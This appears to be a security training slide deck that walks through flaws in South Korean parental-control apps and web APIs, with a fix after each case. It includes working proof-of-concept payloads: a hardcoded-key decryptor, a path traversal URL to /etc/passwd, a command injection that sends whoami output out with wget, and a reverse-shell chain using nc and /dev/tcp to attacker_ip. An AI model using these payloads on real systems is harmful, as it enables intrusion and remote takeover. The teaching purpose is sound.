Mandated app in South Korea (Android) Smart Sheriff: Round 1 = NO SSL Scenario: Mandated app in South Korea (Android) Smart Sheriff: Round 2 = switched to SSL! Question: What is the vulnerability? SSL MitM without warnings! Question: What is the vulnerability? encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5] encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554 Code (decompiled): public static String encrypt_decrypt(String var0) { var1_1 = new byte[39]; var1_1[0] = 109; var1_1[2] = 111; [...] var1_1[38] = 107; var2_2 = new byte[var0.getBytes().length]; try { [...] var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]); [...] } while (true);[...] } Harcoded XOR key! :) encrypt_decrypt: IN: 05555215554 => OUT: ]5Z\WSVAB5] encrypt_decrypt: IN: ]5Z\WSVAB5] => OUT: 05555215554 Code (decompiled): public static String encrypt_decrypt(String var0) { var1_1 = new byte[39]; var1_1[0] = 109; var1_1[2] = 111; [...] var1_1[38] = 107; var2_2 = new byte[var0.getBytes().length]; try { [...] var2_2[var6_4] = (byte)(var2_2[var6_4] ^ var1_1[var5_3]); [...] } while (true);[...] } Attack: Harcoded XOR PoC script XORdecrypt("]5Z\WSVAB5]") == '05555215554' def XORdecrypt(s): abyte2 = [109, 0, 111, 105, 98, 97, 103, 116, 119, 0, 105, 103, 115, 121, 115, 116, 101, 0, 109, 115, 102, 105, 103, 104, 116, 0, 105, 110, 103, 104, 104, 104, 107, 0, 107, 107, 107, 111, 107] abyte0 = [0 for c in s] abyte1 = [ord(c) for c in s] j = 0; k = 0; while True: abyte0 = [i for i in abyte1] l = len(s) if k>=l: [...] Attack: Harcoded XOR PoC script [...] abyte0 = [i for i in abyte1] return "".join([chr(c) for c in abyte0]) else: abyte1[k] = abyte1[k]^abyte2[j] j+=1 abyte0 = [i for i in abyte1] l = len(s) if j>=l: j=0 k+=1 Attack: Harcoded XOR PoC script Question: What is the vulnerability? public final class a { public static byte[] a = new byte[16]; public static String a(Context paramContext, String paramString) { String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0)); byte[] arrayOfByte = paramString.getBytes("UTF-8"); IvParameterSpec localIvParameterSpec = new IvParameterSpec(a); SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES"); Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); localCipher.init(1, localSecretKeySpec, localIvParameterSpec); return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0); } } Hardcoded AES key! public final class a { public static byte[] a = new byte[16]; public static String a(Context paramContext, String paramString) { String str = new String(Base64.decode(String.valueOf(paramContext.getText(2131034156)), 0)); byte[] arrayOfByte = paramString.getBytes("UTF-8"); IvParameterSpec localIvParameterSpec = new IvParameterSpec(a); SecretKeySpec localSecretKeySpec = new SecretKeySpec(str.getBytes("UTF-8"), "AES"); Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); localCipher.init(1, localSecretKeySpec, localIvParameterSpec); return Base64.encodeToString(localCipher.doFinal(arrayOfByte), 0); } } Attack: Hardcoded AES key! Attack: Catastrophe Summary Fix: Smart Sheriff broken SSL & Crypto → Validate SSL certificate properly → Consider Pinning → Avoid hardcoding encryption keys in apps → Request a key over a secure connection to the server, using a server public key OR → Generate a key on the client and send it securely to the server encrypting it with the server public key → Save the encryption key for the user safely leveraging the Android keystore. Episode: API attacks Source: https://www.imperva.com/ Scenario: Retrieving files from the server Question: What is the vulnerability? Normal URL: https://api.server.com/export/:file?name=file.pdf Server Code: $api->get('/export/:file', function($name) { if(!empty($_GET['name'])) { $file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']); if(file_exists($file)) { header('Content-disposition:attachment; filename=' . $name); header('Content-type: application/octet-stream'); readfile($file); echo $file; } } }); Path Traversal & Filter Bypass Normal URL: https://api.server.com/export/:file?name=file.pdf Server Code: $api->get('/export/:file', function($name) { if(!empty($_GET['name'])) { $file = $GLOBALS['export_root'] . str_replace('../','', $_GET['name']); if(file_exists($file)) { header('Content-disposition:attachment; filename=' . $name); header('Content-type: application/octet-stream'); readfile($file); echo $file; } } }); Attack: Path Traversal & Filter Bypass PoC https://api.server.com/export/:file?name=....//....//....//....//....//....//....//....//..../ /....//....//....//etc/passwd Code: str_replace('../','', $_GET['name']) IN: ....// OUT: ../ Fix: Path Traversal & Filter Bypass → Use a platform function that returns the filename for a path: https://www.php.net/basename → Use a platform function to verify the final URL starts with the expected directory: https://www.php.net/realpath if (0 !== strpos(realpath($dir_with_user_input), $expected_dir)) die('Access denied!'); → Reject ".." sequences: if(preg_match('/\.{2,}/', $_GET['name'])){die('Access denied!');} Scenario: Uploading files to the server Question: What is the vulnerability? user_files = "%s%s/" % (globals.user_files, params['pgpFingerprint']) RunCmd(["mkdir", user_files], None) print "trying to save bytes to %s" % user_files file = open(os.path.join(user_files, "sourcePackage"), "w+") # save blob here file.write(base64.b64decode(unquote(params['data']))) file.close() def RunCmd(cmd, des): cmd = " ".join(cmd) ex = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True) RCE in user file upload user_files = "%s%s/" % (globals.user_files, params['pgpFingerprint']) RunCmd(["mkdir", user_files], None) print "trying to save bytes to %s" % user_files file = open(os.path.join(user_files, "sourcePackage"), "w+") # save blob here file.write(base64.b64decode(unquote(params['data']))) file.close() def RunCmd(cmd, des): cmd = " ".join(cmd) # python list concatenated into a single string ex = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True) # insecure option enabled Attack: RCE in user file upload PoC Payload (https://hackvertor.co.uk) pgpFingerprint=<@urlencode_0(encodeURIComponent,encode)>123456 | wget https://7asecurity.com/?$(whoami) | 123<@/urlencode_0>&alias=abcdefg&data=<@base64_1(encode)>7asec<@/base64_1> PoC curl https://some.server.com --data "pgpFingerprint=123456%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%E2%80%8B%E2%80%8B%20%E2%80%8B% E2%80%8Bwget%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8Bhttps%3A%2F%2F7asecurity.com%2F%3F%24(whoami )%E2%80%8B%E2%80%8B%20%E2%80%8B%E2%80%8B%7C%20123%E2%80%8B%E2%80%8B&alias=abcdefg&data=N2FzZWM= " Attack: RCE in user file upload (pwn) Setup a shell listener: nc -nlvp 4444 reverse shell one liner in attacker webroot: File: /var/www/html/a.txt Contents: 0<&196;exec 196<>/dev/tcp/attacker_ip/4444; sh <&196 >&196 2>&196 Pwn: curl -k https://some.site.com/ --data 'pgpFingerprint=123456 | wget http://attacker_ip/a.txt; bash a.txt | 123&alias=abcdefg&data=Y3VyZTUz' Enjoy: connect to [192.168.0.127] from (UNKNOWN) [x.x.x.x] 60681 whoami root Fix: RCE in user file upload → If possible, avoid string concatenations: Also avoid calling subprocess.Popen with shell=True NOTE: python will auto-escape arguments then, you need to pass a list, not a string: subprocess.Popen(["mkdir", user_files], shell=False, ... → If you must concatenate strings, PHP and other platforms offer shell escaping functions: https://www.php.net/escapeshellarg → Validate user input with a whitelist regex that is as restrictive as possible, i.e. [a-Z0-9\.] NOTE: Make sure the whitelist doesn't allow especial shell characters like |;&"`' Scenario: API Leaks Government-mandated app to help parents protect their children: → Control phone usage → Control installed apps → Block websites → etc. Round #1: https://7asecurity.com/reports/pentest-report_smartsheriff.pdf Round #2: https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf Attack: Bully API Attack: Bully API Attack: Bully API Attack: Bully API Attack: Bully API Attack: Bully API Attack: Bully API Attack: Bully API Scenario: Smart Dream South Korea (Android) → Monitors phone messages for "harmful words": ﹢ If harmful words are present parents are notified ﹢ Messages containing harmful words stored on the server → Registers itself as an "accessibility app" to gain access to SMS and Kakao talk messages → Abuses functionality intended for text2speech Attack: Smart Dream Demo DEMO Fix: Implement Access Control → → → → Limit access to data based on user permissions Centralize security controls as much as you can Limit database queries based on who the user is, do this in a centralized way (i.e. around Active Record implementation) Automatically add database query clauses that filter database queries based on who the user is Q&A Free 4h Workshop Access (vuln apps, slides, recording): https://7asecurity.com/free > admin@7asecurity.com Any questions? :) > @7asecurity > @7a_ > @owtfp [ OWASP OWTF - owtf.org ] + 7asecurity.com